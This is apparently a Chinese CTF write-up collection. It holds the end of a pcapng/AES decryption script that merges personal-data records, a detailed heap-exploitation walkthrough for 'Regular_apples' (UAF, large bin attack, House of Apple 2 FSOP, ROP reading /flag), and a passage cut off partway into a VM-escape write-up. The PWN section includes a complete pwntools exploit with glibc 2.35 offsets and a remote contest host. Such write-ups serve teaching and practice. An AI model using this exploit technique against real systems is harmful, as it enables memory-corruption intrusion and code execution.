#
# 4 byte Block Type
# 4 byte Block Length
# 4 byte trailing Block Length
#
# 因此不能小于 12。
if block_len < 12:
raise ValueError(
f"invalid pcapng block length "
f"at 0x{offset:x}"
)
if offset + block_len > len(data):
raise ValueError(
f"pcapng block exceeds file size "
f"at 0x{offset:x}"
)
# 每个 pcapng Block 尾部还会再次保存一次
# Block Total Length。
trailer_len = struct.unpack_from(
endian + "I",
data,
offset + block_len - 4
)[0]
if trailer_len != block_len:
raise ValueError(
f"pcapng block length mismatch "
f"at 0x{offset:x}"
)
# -------------------------------------------------
# Interface Description Block
#
# Block Type = 0x00000001
# -------------------------------------------------
if block_type == 0x00000001:
# IDB Body 开头:
#
# LinkType : 2 bytes
# Reserved : 2 bytes
# SnapLen : 4 bytes
#
linktype = struct.unpack_from(
endian + "H",
data,
offset + 8
)[0]
# Interface ID 是 IDB 出现顺序。
interface_id = len(linktypes)
linktypes[interface_id] = linktype
# -------------------------------------------------
# Enhanced Packet Block
#
# Block Type = 0x00000006
# -------------------------------------------------
elif block_type == 0x00000006:
# EPB Body:
#
# Interface ID 4
# Timestamp High 4
# Timestamp Low 4
# Captured Packet Length 4
# Original Packet Length 4
#
(
interface_id,
_ts_high,
_ts_low,
captured_len,
_packet_len,
) = struct.unpack_from(
endian + "IIIII",
data,
offset + 8
)
# Block Header:
#
# Block Type 4
# Block Total Length 4
#
# EPB 固定字段:
#
# Interface ID 4
# Timestamp High 4
# Timestamp Low 4
# Captured Len 4
# Original Len 4
#
# 合计:
#
# 8 + 20 = 28
#
packet_start = offset + 28
packet_end = packet_start + captured_len
packet = data[
packet_start:packet_end
]
linktype = linktypes.get(
interface_id
)
if linktype is None:
raise ValueError(
f"unknown interface id "
f"{interface_id}"
)
yield linktype, packet
# 移动到下一个 Block。
offset += block_len
# 正常情况下必须正好走到 EOF。
if offset != len(data):
raise ValueError(
"pcapng parsing did not end "
"exactly at EOF"
)
def parse_ethernet_ipv4_tcp(linktype, packet):
"""
Ethernet
↓
IPv4
↓
TCP
返回:
(
src_ip,
src_port,
dst_ip,
dst_port,
tcp_payload
)
如果不是目标协议,则返回 None。
"""
# 本题 IDB 中的 LinkType 为 1:
#
# DLT_EN10MB / Ethernet
#
if linktype != 1:
raise ValueError(
f"unsupported linktype: "
f"{linktype}; "
f"expected Ethernet(1)"
)
# Ethernet Header 至少 14 字节。
if len(packet) < 14:
return None
# Ethernet:
#
# [0:6] Destination MAC
# [6:12] Source MAC
# [12:14] EtherType
#
ether_type = struct.unpack(
"!H",
packet[12:14]
)[0]
# IPv4 EtherType:
#
# 0x0800
#
if ether_type != 0x0800:
return None
# 去掉 14 字节 Ethernet Header。
ip = packet[14:]
# IPv4 最小 Header 为 20 字节。
if len(ip) < 20:
return None
# IPv4 第一个字节:
#
# 高 4 bit:Version
# 低 4 bit:IHL
#
version = ip[0] >> 4
ihl = (
ip[0] & 0x0F
) * 4
if version != 4:
return None
if ihl < 20:
return None
if len(ip) < ihl:
return None
# IPv4 Total Length。
total_len = struct.unpack(
"!H",
ip[2:4]
)[0]
# IPv4 Protocol:
#
# 6 = TCP
#
protocol = ip[9]
if protocol != 6:
return None
# IP 总长度至少要能够包含:
#
# IPv4 Header
# +
# TCP 最小 Header
#
if total_len < ihl + 20:
return None
if len(ip) < total_len:
return None
# IPv4 Source Address。
src_ip = socket.inet_ntoa(
ip[12:16]
)
# IPv4 Destination Address。
dst_ip = socket.inet_ntoa(
ip[16:20]
)
# TCP 数据从 IPv4 Header 后开始。
tcp = ip[
ihl:total_len
]
# TCP Header 前四字节:
#
# Source Port 2
# Destination Port 2
#
src_port, dst_port = struct.unpack(
"!HH",
tcp[:4]
)
# TCP Data Offset:
#
# TCP 第 12 个字节高 4 bit。
#
tcp_header_len = (
tcp[12] >> 4
) * 4
# TCP Header 最小长度也是 20。
if tcp_header_len < 20:
return None
if len(tcp) < tcp_header_len:
return None
# TCP Header 后面的内容就是应用层 Payload。
payload = tcp[
tcp_header_len:
]
return (
src_ip,
src_port,
dst_ip,
dst_port,
payload,
)
def collect_http_transactions(pcap_path):
"""
从整个抓包中提取 HTTP 请求与响应。
使用:
(
client_ip,
client_port,
server_ip,
server_port
)
作为连接唯一键。
"""
requests = {}
responses = {}
for (
linktype,
packet,
) in iter_pcapng_packets(
pcap_path
):
parsed = parse_ethernet_ipv4_tcp(
linktype,
packet
)
if parsed is None:
continue
(
src_ip,
src_port,
dst_ip,
dst_port,
payload,
) = parsed
# 没有 TCP Payload 就跳过。
#
# 例如:
#
# SYN
# SYN/ACK
# ACK
# FIN
#
if not payload:
continue
# =========================================
# Client -> Server
#
# HTTP GET Request
# =========================================
if (
dst_port == SERVER_PORT
and
payload.startswith(
b"GET /api/"
)
):
conn = (
src_ip,
src_port,
dst_ip,
dst_port,
)
if conn in requests:
raise ValueError(
f"duplicate request payload "
f"for connection {conn}"
)
requests[conn] = payload
# =========================================
# Server -> Client
#
# HTTP/1.1 200 OK
# =========================================
elif (
src_port == SERVER_PORT
and
payload.startswith(
b"HTTP/1.1 200 OK"
)
):
# 当前方向是:
#
# server -> client
#
# 需要反转成:
#
# client -> server
#
# 从而和 requests 使用同一种 Key。
conn = (
dst_ip,
dst_port,
src_ip,
src_port,
)
if conn in responses:
raise ValueError(
f"duplicate response payload "
f"for connection {conn}"
)
responses[conn] = payload
# 请求但没有响应。
missing_response = sorted(
set(requests)
-
set(responses)
)
# 响应但找不到对应请求。
orphan_response = sorted(
set(responses)
-
set(requests)
)
if (
missing_response
or
orphan_response
):
raise ValueError(
"HTTP transaction mismatch: "
f"requests={len(requests)}, "
f"responses={len(responses)}, "
f"missing_response="
f"{len(missing_response)}, "
f"orphan_response="
f"{len(orphan_response)}"
)
return requests, responses
def aes128_ecb_decrypt_base64(
body,
key
):
"""
解密流程:
Base64
↓
AES-128-ECB
↓
PKCS#7 Unpad
↓
UTF-8
"""
# AES-128 Key 必须为 16 字节。
if len(key) != 16:
raise ValueError(
"AES-128 key must be "
f"16 bytes, got {len(key)}"
)
# HTTP Body 是 Base64。
#
# validate=True:
#
# 如果出现非法 Base64 字符,
# 直接报错,不静默忽略。
ciphertext = base64.b64decode(
body,
validate=True
)
# AES Block Size 为 16 字节。
if len(ciphertext) == 0:
raise ValueError(
"empty ciphertext"
)
if (
len(ciphertext) % 16
!= 0
):
raise ValueError(
"decoded ciphertext length "
"is not a multiple of 16"
)
# 建立:
#
# AES-128-ECB
#
decryptor = Cipher(
algorithms.AES(key),
modes.ECB()
).decryptor()
padded_plaintext = (
decryptor.update(
ciphertext
)
+
decryptor.finalize()
)
# AES Block Size:
#
# 128 bit
#
unpadder = PKCS7(
128
).unpadder()
plaintext = (
unpadder.update(
padded_plaintext
)
+
unpadder.finalize()
)
# JSON 是 UTF-8。
return plaintext.decode(
"utf-8"
)
def parse_and_decrypt(
request_payload,
response_payload
):
"""
解析一组 HTTP Request / Response。
返回:
endpoint, json_object
"""
# 提取:
#
# endpoint
# pass
#
request_match = REQUEST_RE.match(
request_payload
)
if request_match is None:
raise ValueError(
"unexpected HTTP request line"
)
endpoint = (
request_match
.group(1)
.decode("ascii")
)
key = request_match.group(2)
# HTTP Header / Body 使用:
#
# CRLF CRLF
#
# 即:
#
# \r\n\r\n
#
try:
(
header_blob,
body,
) = response_payload.split(
b"\r\n\r\n",
1
)
except ValueError as exc:
raise ValueError(
"HTTP response has no "
"header/body separator"
) from exc
# 删除 Body 前后的 CRLF 等空白。
body = body.strip()
# =========================================
# 校验 Content-Length
# =========================================
content_length = None
for line in header_blob.split(
b"\r\n"
):
if line.lower().startswith(
b"content-length:"
):
content_length = int(
line
.split(
b":",
1
)[1]
.strip()
)
break
if content_length is not None:
if content_length != len(body):
raise ValueError(
"Content-Length mismatch: "
f"header={content_length}, "
f"actual={len(body)}"
)
# =========================================
# Base64
# AES-128-ECB
# PKCS#7
# =========================================
plaintext = (
aes128_ecb_decrypt_base64(
body,
key
)
)
# =========================================
# JSON
# =========================================
obj = json.loads(
plaintext
)
if not isinstance(
obj,
dict
):
raise ValueError(
"decrypted JSON "
"is not an object"
)
# userid 是唯一关联键,
# 所以任何记录都必须包含 userid。
if "userid" not in obj:
raise ValueError(
"decrypted record "
"has no userid"
)
# 本题正常数据只应该出现:
#
# userid
# username
# name
# phone
# idcard
# email
#
unknown_fields = (
set(obj)
-
set(REQUIRED_FIELDS)
)
if unknown_fields:
raise ValueError(
"unexpected fields: "
f"{sorted(unknown_fields)}"
)
return endpoint, obj
def merge_records(
requests,
responses
):
"""
解密全部响应,并按照 userid 合并字段。
"""
# userid -> record
merged = defaultdict(
dict
)
endpoint_counts = Counter()
decrypted_count = 0
# 排序不是业务必须,
# 只是为了让处理顺序完全确定。
for conn in sorted(
requests
):
endpoint, obj = (
parse_and_decrypt(
requests[conn],
responses[conn]
)
)
endpoint_counts[
endpoint
] += 1
decrypted_count += 1
userid = obj[
"userid"
]
# 根据题目样本和数据,
# userid 应为整数。
if not isinstance(
userid,
int
):
raise ValueError(
"userid is not "
f"an integer: {userid!r}"
)
# 找到这个 userid
# 已经收集到的记录。
target = merged[
userid
]
# 将当前 JSON 中出现的全部字段合并。
for field, value in obj.items():
# 如果同一 userid 的同一字段
# 已经出现过,则必须确保值完全一致。
if (
field in target
and
target[field] != value
):
raise ValueError(
"conflicting data for "
f"userid={userid}, "
f"field={field}: "
f"{target[field]!r} "
f"!= "
f"{value!r}"
)
target[
field
] = value
# =========================================
# 筛选六字段完整记录
# =========================================
complete = []
# userid 按数值升序。
for userid in sorted(
merged
):
record = merged[
userid
]
# 六个字段必须全部存在。
if all(
field in record
for field
in REQUIRED_FIELDS
):
# 严格按照:
#
# userid
# username
# name
# phone
# idcard
# email
#
# 排列。
complete.append(
[
record[field]
for field
in REQUIRED_FIELDS
]
)
return (
merged,
complete,
endpoint_counts,
decrypted_count,
)
def write_csv(
output_path,
rows
):
"""
输出 UTF-8 CSV。
注意:
使用 utf-8
而不是 utf-8-sig
因此不会产生 UTF-8 BOM。
"""
with open(
output_path,
"w",
encoding="utf-8",
newline=""
) as f:
writer = csv.writer(
f
)
# Header。
writer.writerow(
REQUIRED_FIELDS
)
# 所有完整记录。
writer.writerows(
rows
)
def main():
parser = argparse.ArgumentParser(
description=(
"Decrypt and merge "
"personal-information "
"records from data.pcapng"
)
)
parser.add_argument(
"pcap",
nargs="?",
default="data.pcapng"
)
parser.add_argument(
"-o",
"--output",
default="result.csv"
)
args = parser.parse_args()
# =========================================
# 1. 提取 HTTP Request / Response
# =========================================
(
requests,
responses,
) = collect_http_transactions(
args.pcap
)
# =========================================
# 2. 解密
#
# 3. 按 userid 合并
#
# 4. 筛选完整记录
# =========================================
(
merged,
complete,
endpoint_counts,
decrypted_count,
) = merge_records(
requests,
responses
)
# =========================================
# 5. 输出 CSV
# =========================================
write_csv(
args.output,
complete
)
# =========================================
# 6. 打印统计信息
# =========================================
print(
f"[+] HTTP requests : "
f"{len(requests)}"
)
print(
f"[+] HTTP responses : "
f"{len(responses)}"
)
print(
f"[+] decrypted responses : "
f"{decrypted_count}"
)
print(
f"[+] unique userid : "
f"{len(merged)}"
)
print(
f"[+] complete records : "
f"{len(complete)}"
)
print(
"[+] endpoints:"
)
for (
endpoint,
count,
) in sorted(
endpoint_counts.items()
):
print(
f" "
f"{endpoint:8s} "
f"{count}"
)
print(
f"[+] wrote : "
f"{args.output}"
)
if __name__ == "__main__":
main()


上传验证:

PWN
Regular_apples
checksec检查下:
| Arch | amd64-64-little |
| RELRO | Partial RELRO |
| Stack | Canary found |
| NX | NX enabled |
| PIE | PIE enabled |
| libc 构建标记 | SHSTK: Enabled · IBT: Enabled(仅编译标记,运行时未强制) |
使用IDA打开分析:
程序维护两个全局数组:unk_4140 存放 13 个(下标 0–12)chunk 指针,dword_4060 存放对应的 size。菜单循环分发到四个功能函数。
add函数

index, size, content。size 限制 0x4FF < size <= 0x520。malloc(size),read(0, ptr, size)(单次 read)。index > 0xC 触发 puts("error") + exit(0)。重复 add 已存在的 index 触发 puts("error")(但不 exit)。
free函数:

free(unk_4140[index]),不置空 → UAF。
edit函数:

read(0, unk_4140[index], dword_4060[index])。
show函数:

write(1, unk_4140[index], 8)。
指针数组 unk_4140(0-12,共 13 个 slot),大小数组 dword_4060。
free 之后没有把 unk_4140[idx] 置空,构成 UAF。配合 show 可以读取已释放 chunk 的前 8 字节(泄漏 libc 与堆地址),配合 edit 可以在 chunk 释放后继续改写它的链表字段(为 large bin attack 服务)。
size 限制在 0x4FF < size ≤ 0x520,对应 chunk 大小为 0x510 或 0x530,都大于 tcache 上限(0x410),因此释放的 chunk 会进入 unsorted bin / large bin,而不是 tcache,这决定了后续的攻击路径。
整体分五步:先用 unsorted bin 泄漏地址,再在堆上构造伪造的 FILE 结构,然后通过 large bin attack 把 _IO_list_all 改写到堆上,最后借由 exit 时的 FSOP 触发 House of Apple 2,完成栈迁移并执行 ROP。
漏洞:
- UAF:free 后未清空 unk_4140[index]。
- show 只泄漏 8 字节。
- edit 用记录的 size(dword_4060[index]),不能越界。
- 无 tcache 范围内的直接 double free(因为 size 0x500 > tcache 上限 0x410),但可以用 unsorted bin / large bin。
利用链:
1. Leak libc + heap(unsorted bin)
分配四个 0x500 的 chunk,再释放其中两个不相邻的(避免向后合并),让它们进入 unsorted bin。
# 0x500 用户请求 → chunk size 0x510,大于 tcache 上限,释放后进 unsorted bin
add(0,0x500,b'A'*8); add(1,0x500,b'B'*8); add(2,0x500,b'C'*8); add(3,0x500,b'D'*8)
free(0); free(2)
libc_base = show(0) - OFF_LIBC_LEAK # chunk0.fd = main_arena + 0x60 = libc + 0x21ace0
H0 = show(2) # chunk2.fd = chunk0 的 header 地址
add(4,0x500,b'E'*8); add(5,0x500,b'F'*8) # 从 unsorted bin 取回,恢复现场
释放后 unsorted bin 的链表为 chunk2 → chunk0 → main_arena。因此:
| show 调用 | 读取内容 | 含义 |
| show(0) | chunk0.fd = main_arena + 0x60 | 泄漏 libc 基址(减 0x21ace0) |
| show(2) | chunk2.fd = chunk0 地址 | 泄漏堆地址 H0 |
2. 布置 fake FILE(chunk 6)
- House of Apple 2 的核心思路:在 exit 触发 FSOP 时,让
_IO_flush_all_lockp遍历到我们伪造的 FILE,通过其_vtable中的_IO_wfile_overflow进入_IO_wdoallocbuf,最终调用_wide_vtable里可控的__doallocate函数指针。
分配 chunk6 作为载体,在同一个 chunk 内紧凑排布三个结构:伪造的 _IO_FILE、_IO_wide_data、伪造的 _wide_vtable,以及后续要用的 ROP 链和字符串。
chunk6 内部布局
| 偏移 | 内容 | 用途 |
| 0x000 – 0x100 | fake _IO_FILE |
触发 overflow 的伪 FILE |
| 0x100 – 0x1f0 | _IO_wide_data |
承载栈迁移首跳与 wide_vtable 指针 |
| 0x200 – 0x280 | 伪造 _wide_vtable |
__doallocate指向 pivot gadget |
| 0x300+ | ROP 链 | 裸 syscall 执行 open/read/write |
| 0x400 | "/flag\0" |
目标文件路径 |
| 0x410 | 缓冲区 | read 读入 flag 的落点 |
伪造 _IO_FILE 的关键字段
| 偏移 | 字段 | 值 | 说明 |
| 0x00 | _flags | "TEST\0" | 任意值,保证 _flags & 2 == 0即可 |
| 0x20 | _IO_write_base | 0 | 使 _IO_write_ptr > _IO_write_base成立,触发 overflow |
| 0x28 | _IO_write_ptr | 1 | |
| 0x68 | _chain | 0 | 遍历终点 |
| 0x88 | _lock | file2_addr | 指向可写地址,避免加锁时崩溃 |
| 0xa0 | _wide_data | wide_data_addr | 指向伪造的 wide_data |
| 0xc0 | _mode | 0 | 使 _mode <= 0成立 |
| 0xd8 | _vtable | _IO_wfile_jumps | 使 overflow = _IO_wfile_overflow |
伪造 wide_data 与 wide_vtable
# wide_data:rdx 在 __doallocate 调用点恰好等于 wide_data 地址(见 Step 6)
wide_data[0x00] = pop_rsp # mov rsp,rdx;ret 之后 rip 落在这里
wide_data[0x08] = rop_addr # pop rsp 的目标
wide_data[0x18] = 0 # _IO_wfile_overflow 会检查 [wide_data+0x18] == 0
wide_data[0x30] = 0 # _IO_wdoallocbuf 会检查 [wide_data+0x30] == 0
wide_data[0xe0] = wide_vtable_addr # 指向伪造 vtable
wide_vtable[0x68] = mov_rsp_rdx # __doallocate 槽位 → mov rsp,rdx;ret
这两个结构里真正被 glibc 读到的字段只有 0x18、0x30、0xe0(wide_data)和 0x68(wide_vtable),其余空间正好用来铺 ROP 链或首跳地址。
3. large bin attack
目标是让 _IO_list_all 指向我们可控的堆地址。利用 glibc 2.35 _int_malloc 在把 unsorted bin chunk 分类进 large bin 时的一处任意写:
// glibc 2.35 _int_malloc,unsorted bin chunk 落入 large bin 且小于最小 chunk 时
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
关键一行里的 victim->bk_nextsize->fd_nextsize = victim 是一个任意地址写:只要让 victim->bk_nextsize 等于 target - 0x20(fd_nextsize 相对 chunk 头偏移 0x20),就会把 victim 的地址写到 target。
具体布局需要两个 chunk 先后进入同一个 large bin:先让一个较大的 chunk(chunk7,0x520)占据 bin,再让一个较小的 chunk(chunk9,0x510)插入,从而走“小于最小 chunk”的分支。
# 0x510/0x500 用户请求 → chunk size 0x520 / 0x510,同属 large bin(0x500–0x53f 区间)
add(7,0x510,b'P1'*4); add(8,0x500,b'G1'*4); add(9,0x500,b'P2'*4); add(10,0x500,b'G2'*4)
free(7) # chunk7 进入 unsorted bin
add(11,0x520,b'X'*8) # 请求更大,chunk7 被分类进 large bin,成为 bin 内唯一 chunk
free(9) # chunk9 进入 unsorted bin
target = libc_base + OFF_IO_LIST_ALL
payload = bytearray(0x20); payload[0x18:0x20] = p64(target - 0x20)
edit(7, bytes(payload)) # UAF 改写 chunk7.bk_nextsize = _IO_list_all - 0x20
add(12,0x520,b'Y'*8) # chunk9 分类进 large bin,触发任意写:_IO_list_all = chunk9 header
执行到 add(12) 时,victim = chunk9,其 bk_nextsize 被赋值为 chunk7.bk_nextsize = _IO_list_all - 0x20,随后 victim->bk_nextsize->fd_nextsize = victim 把 chunk9 地址写入 _IO_list_all。
4. 跳板 FILE(chunk 9)
由于 _IO_list_all 指向的是 chunk9 的 header(而非真正的 user 指针),FSOP 会以 header 为起点解释 FILE 字段。我们通过 edit(9) 改写 chunk9 的 user 数据,反过来控制这个“错位 FILE”的字段。
chunk9 header 作为 FILE 时,字段地址 = chunk9 user 地址偏移 - 0x10,因此:
| FILE 字段(相对 header) | 对应 user 偏移 | edit(9) 写入值 | 效果 |
| _IO_write_base (0x20) | 0x10 | 0 | write_ptr == write_base,不触发 overflow |
| _IO_write_ptr (0x28) | 0x18 | 0 | |
| _chain (0x68) | 0x58 | file2_addr | 链到真正的 fake FILE(chunk6) |
| _mode (0xc0) | 0xb0 | 0 | 保证 _mode <= 0 |
f1 = bytearray(0x500)
f1[0x10:0x18] = p64(0) # → header._IO_write_base = 0
f1[0x18:0x20] = p64(0) # → header._IO_write_ptr = 0
f1[0x58:0x60] = p64(file2_addr) # → header._chain = file2_addr
f1[0xb0:0xb8] = p64(0) # → header._mode = 0
edit(9, bytes(f1))
最后发送下标 13 触发 add 的越界分支:puts("error") 后 exit(0)。exit 会调用 _IO_cleanup → _IO_flush_all_lockp,从 _IO_list_all 开始遍历:
// _IO_flush_all_lockp 遍历逻辑(简化)
for (fp = _IO_list_all; fp != NULL; fp = fp->_chain) {
if ((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || ...)
_IO_OVERFLOW(fp, EOF);
}
遍历第一站是 chunk9 header(跳板),其 _IO_write_ptr == _IO_write_base,跳过 overflow,然后沿 _chain 走到 chunk6 的 fake FILE。chunk6 满足 _IO_write_ptr(1) > _IO_write_base(0) 且 _mode == 0,于是调用 _IO_OVERFLOW,即 _IO_wfile_jumps 里的 _IO_wfile_overflow。
5. House of Apple 2 与栈迁移
_IO_wfile_overflow(fp) 内部的路径最终会进入 _IO_wdoallocbuf(fp),后者读取 fp->_wide_data 里的 _wide_vtable 并调用其 __doallocate 槽位。这正是 House of Apple 2 劫持控制流的位置。
关键:rdx 在调用点恰好等于 wide_data 地址
反汇编 _IO_wfile_overflow 可以发现,它在入口附近执行了 mov rdx, [rdi+0xa0](即 rdx = fp->_wide_data)。而 _IO_wdoallocbuf 内部直到 call [rax+0x68] 都没有再修改 rdx。因此:
// _IO_wdoallocbuf 关键片段
83b74: mov rax, [rdi+0xa0] ; rax = fp->_wide_data
83b7b: cmp [rax+0x30], 0 ; 检查 wide_data[0x30] == 0
83b94: mov rax, [rax+0xe0] ; rax = wide_data[0xe0] = wide_vtable
83b9b: call [rax+0x68] ; call __doallocate,此时 rdx == wide_data_addr
于是把 __doallocate 槽位填成 mov rsp, rdx; ret,就能在没有任何 pop rsp 前置条件的情况下,把栈可靠地迁移到 wide_data 上,接着执行 wide_data[0]。
两段式栈迁移
mov rsp, rdx; ret # rsp = wide_data_addr,ret → wide_data[0]
pop rsp; ret # 从 wide_data[8] 取 rop_addr,跳到真正的 ROP 链
wide_data[0] = pop_rsp,wide_data[8] = rop_addr。之所以不直接把 ROP 链铺在 wide_data 上,是因为 wide_data 的 0x18、0x30、0xe0 等字段被 glibc 强制为特定值,会与 ROP 链冲突;额外经过一次 pop rsp 跳到 chunk6 后段(0x300)的干净区域更稳妥。
6. 裸 syscall ORW
常规做法是调用 libc 的 open / read / write 函数。但实测发现libc 的 write 包装函数(含 fs:0x18 多线程取消检查)在远端调用时无法输出,,即使换成 __write_nocancel 也仍然失败。改用 裸系统调用(pop rax + syscall; ret)后问题解决,这是本道题最大的坑。
ROP 链用三个系统调用依次完成 open、read、write:
rop = flat(
pop_rax, 2, # SYS_open
pop_rdi, flag_path, # "/flag"
pop_rsi, 0, # O_RDONLY
syscall_ret, # open("/flag", 0) → fd 3
pop_rax, 0, # SYS_read
pop_rdi, 3, # fd 3
pop_rsi, buf_addr,
pop_rdx_rbx, 0x80, 0,
syscall_ret, # read(3, buf, 0x80)
pop_rax, 1, # SYS_write
pop_rdi, 1, # stdout
pop_rsi, buf_addr,
pop_rdx_rbx, 0x80, 0,
syscall_ret, # write(1, buf, 0x80)
)
关键偏移(libc,glibc 2.35):
| main_arena + 0x60 | 0x21ace0 | unsorted bin 头,用于泄漏 libc |
| _IO_list_all | 0x21b680 | large bin attack 目标 |
| _IO_wfile_jumps | 0x2170c0 | fake FILE 的 vtable |
| mov rsp, rdx; ret | 0x5a120 | __doallocate 槽位 |
| pop rsp; ret | 0x35732 | 栈迁移首跳 |
| pop rdi; ret | 0x2a3e5 | 参数设置 |
| pop rsi; ret | 0x2be51 | |
| pop rdx; pop rbx; ret | 0x904a9 | 第三个参数 |
| pop rax; ret | 0x45eb0 | 设置 syscall 号 |
| syscall; ret | 0x91316 | 触发系统调用 |
堆偏移(相对 H0 = chunk0 header):
| 对象 | 地址 | 用途 |
| chunk6 user | H0 + 0x1450 | fake FILE(file2_addr) |
| chunk7 user | H0 + 0x1960 | large bin attack 的大 chunk |
| chunk9 user | H0 + 0x2390 | large bin attack 的 victim / 跳板 |
解题脚本:
from pwn import *
context.arch = 'amd64'
context.log_level = 'error'
base = '/mnt/e/ILOVCTRY/宁波比赛/pwn1/tempdir/PWN附件/'
libc = ELF(base + 'libc.so.6')
OFF_LIBC_LEAK = 0x21ace0
OFF_IO_LIST_ALL = 0x21b680
OFF_IO_WFILE_JUMPS = 0x2170c0
POP_RSP = 0x35732
POP_RDI = 0x2a3e5
POP_RSI = 0x2be51
POP_RDX_RBX = 0x904a9
POP_RAX = 0x45eb0
SYSCALL_RET = 0x91316
MOV_RSP_RDX = 0x5a120
def add(i,s,c=b''):
io.sendlineafter(b'> ', b'1'); io.sendlineafter(b'Index: ', str(i).encode())
io.sendlineafter(b'Size: ', str(s).encode()); io.sendafter(b'Content: ', c)
def free(i):
io.sendlineafter(b'> ', b'2'); io.sendlineafter(b'Index: ', str(i).encode())
def edit(i,c):
io.sendlineafter(b'> ', b'3'); io.sendlineafter(b'Index: ', str(i).encode()); io.sendafter(b'Content: ', c)
def show(i):
io.sendlineafter(b'> ', b'4'); io.sendlineafter(b'Index: ', str(i).encode()); io.recv(1)
return u64(io.recvn(8).ljust(8,b'\x00'))
io = remote('45.40.247.139', 32582)
add(0,0x500,b'A'*8); add(1,0x500,b'B'*8); add(2,0x500,b'C'*8); add(3,0x500,b'D'*8)
free(0); free(2)
libc_base = show(0) - OFF_LIBC_LEAK
H0 = show(2)
add(4,0x500,b'E'*8); add(5,0x500,b'F'*8)
file2_addr = H0 + 0x1450
wide_data_addr = file2_addr + 0x100
wide_vtable_addr = file2_addr + 0x200
rop_addr = file2_addr + 0x300
flag_path = file2_addr + 0x400
buf_addr = file2_addr + 0x410
io_wfile_jumps = libc_base + OFF_IO_WFILE_JUMPS
mov_rsp_rdx = libc_base + MOV_RSP_RDX
pop_rsp = libc_base + POP_RSP
pop_rdi = libc_base + POP_RDI
pop_rsi = libc_base + POP_RSI
pop_rdx_rbx = libc_base + POP_RDX_RBX
pop_rax = libc_base + POP_RAX
syscall_ret = libc_base + SYSCALL_RET
fake_file = bytearray(0x100)
fake_file[0x00:0x08] = b"TEST\x00\x00\x00\x00"
fake_file[0x20:0x28] = p64(0)
fake_file[0x28:0x30] = p64(1)
fake_file[0x68:0x70] = p64(0)
fake_file[0x88:0x90] = p64(file2_addr)
fake_file[0xa0:0xa8] = p64(wide_data_addr)
fake_file[0xc0:0xc8] = p64(0)
fake_file[0xd8:0xe0] = p64(io_wfile_jumps)
wide_data = bytearray(0xf0)
wide_data[0x00:0x08] = p64(pop_rsp)
wide_data[0x08:0x10] = p64(rop_addr)
wide_data[0x18:0x20] = p64(0)
wide_data[0x30:0x38] = p64(0)
wide_data[0xe0:0xe8] = p64(wide_vtable_addr)
wide_vtable = bytearray(0x80)
wide_vtable[0x68:0x70] = p64(mov_rsp_rdx)
# raw syscall ORW: open("/flag",0) ; read(3,buf,0x80) ; write(1,buf,0x80)
rop = flat(
pop_rax, 2, # SYS_open
pop_rdi, flag_path,
pop_rsi, 0,
syscall_ret, # open -> fd (3) in rax
pop_rax, 0, # SYS_read
pop_rdi, 3, # fd
pop_rsi, buf_addr,
pop_rdx_rbx, 0x80, 0,
syscall_ret, # read(3, buf, 0x80)
pop_rax, 1, # SYS_write
pop_rdi, 1, # stdout
pop_rsi, buf_addr,
pop_rdx_rbx, 0x80, 0,
syscall_ret, # write(1, buf, 0x80)
)
chunk = bytearray(0x500)
chunk[0x000:0x100] = fake_file
chunk[0x100:0x1f0] = wide_data
chunk[0x200:0x280] = wide_vtable
chunk[0x300:0x300+len(rop)] = rop
chunk[0x400:0x406] = b"/flag\x00"
add(6,0x500,bytes(chunk))
add(7,0x510,b'P1'*4); add(8,0x500,b'G1'*4); add(9,0x500,b'P2'*4); add(10,0x500,b'G2'*4)
free(7); add(11,0x520,b'X'*8); free(9)
target = libc_base + OFF_IO_LIST_ALL
payload = bytearray(0x20); payload[0x18:0x20]=p64(target-0x20)
edit(7, bytes(payload))
add(12,0x520,b'Y'*8)
f1 = bytearray(0x500)
f1[0x10:0x18]=p64(0); f1[0x18:0x20]=p64(0); f1[0x58:0x60]=p64(file2_addr); f1[0xb0:0xb8]=p64(0)
edit(9, bytes(f1))
io.sendlineafter(b'> ', b'1')
io.sendlineafter(b'Index: ', b'13')
out = io.recvall(timeout=6)
print(repr(out))

mvmph
1. 题目概览
题目提示“身体和意志被放到了两个不同的时空,找到他们连接的通道”,结合附件中的 ELF 程序可以判断,本题核心不是传统的栈溢出,而是自定义虚拟机(VM)和宿主进程地址空间之间的边界问题。程序接收一段 opcode 后由解释器执行,VM 内部又提供了 read、write、malloc、free、exit 等宿主接口。

程序 vvmm
Libc 题目提供的 libc.so.6(Ubuntu GLIBC 2.35-0ubuntu3.8)
架构 x86-64,PIE,stripped
关键保护 NX / Full RELRO / PIE / CET(IBT + SHSTK)
远端 nc 45.40.247.139 17924
$ file vvmm
vvmm: ELF 64-bit LSB pie executable, x86-64, dynamically linked, stripped
$ readelf -n vvmm
Properties: x86 feature: IBT, SHSTK
$ readelf -d vvmm | grep BIND_NOW
FLAGS: BIND_NOW
2. VM 逆向:找到“两个时空”的连接点
对解释器分发函数进行逆向后,可以看到多数寄存器类指令都会直接按“寄存器编号”访问 VM 状态结构,核心寻址形式如下:
mov edx, DWORD PTR [insn+0x4] ; reg index
add rdx, 0x2
mov rdx, QWORD PTR [state+rdx_8] ; state + (index+2)_8
进一步观察 VM 的栈指令,可以确认 state+0x40 被当作虚拟栈指针(VSP)使用:
mov rax, QWORD PTR [state+0x40]
lea rdx, [rax-0x4]
mov QWORD PTR [state+0x40], rdx ; VSP -= 4
...
mov DWORD PTR [rax], edx ; push value
因此 VM 状态结构中最关键的布局可以简化为:
| 偏移 | 含义 | 说明 |
|---|---|---|
0x10 ~ 0x38 |
R0 ~ R5 |
6 个通用 64 位寄存器 |
0x40 |
VSP |
虚拟栈指针 |
0x48 |
CMP/FLAG |
比较结果状态 |
| 关键问题 | reg[6] |
按通用寄存器寻址时恰好落到 0x40 |
| 解释器没有严格限制寄存器编号必须小于 6。当 index=6 时,state+(6+2)×8 = state+0x40,所谓“R6”实际上就是 VSP。这样,普通寄存器操作和虚拟栈操作就发生了类型混淆:VM 中看似独立的“寄存器时空”和“宿主/栈指针时空”被连了起来。这就是题面中“连接的通道”。 |

state+0x40 为 VSP,寄存器按 state+(index+2)×8 寻址
3. VM 提供的宿主系统调用
